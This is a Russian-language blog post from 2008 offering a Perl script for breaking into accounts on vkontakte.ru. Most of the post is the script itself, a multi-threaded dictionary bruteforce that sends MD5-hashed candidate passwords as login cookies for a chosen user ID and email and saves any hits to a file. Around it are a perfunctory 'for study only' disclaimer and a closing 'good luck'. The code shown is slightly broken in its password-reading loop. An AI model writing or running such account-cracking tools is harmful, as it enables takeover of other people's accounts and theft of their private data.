| Статистика |
Total connecté : 1 Visiteurs : 1 Utilisateurs : 0 |
|
|
Главная » 2008 » Août » 26 » Взлом аккаунта vkontakte.ru by Артур DTR[Inferno] Судариков
22:47 Взлом аккаунта vkontakte.ru by Артур DTR[Inferno] Судариков |
Вот выкладываю код для взлома аккаунта вконтакте. Поможет только людям
разбирающимся в perl и просто системщикам и вебмастерам, ну и самоучкам
всяким.
Скрипт представляется для информационного ознакомления, изучения: скриптов написанных на perl и защиты сайта вконтакте; использование этого скрипта только на ваш страх и риск. Автор статьи не несет ответственности за его использование.
Скрипт
работает просто: используется простой bruteforce (перебор
вариантов(паролей)), в этом скрипте перебор паролей, которые
расположены в файле. Человек с руками может сделать из этого скрипта
более модифицированный вариант.
Так, что ловите.
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
######################################
# DTR[Inferno] hacked script
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################
open (pass, "<$dic");
Next:
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Желаю удачи!
Автор статьи Артур DTR[Inferno] Судариков. По материалам форума античат.ру. Подробности размещения статьи на Вашем портале - http://dtr.do.am/index/0-4 |
|
Категория: все для vkontakte.ru |
Просмотров: 577 |
Добавил: poleznuy
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ] |
|
|
| Календарь |
| « Août 2008 » |
| Lun |
Mar |
Mer |
Jeu |
Ven |
Sam |
Dim |
| | | | | 1 | 2 | 3 | | 4 | 5 | 6 | 7 | 8 | 9 | 10 | | 11 | 12 | 13 | 14 | 15 | 16 | 17 | | 18 | 19 | 20 | 21 | 22 | 23 | 24 | | 25 | 26 | 27 | 28 | 29 | 30 | 31 | |
|
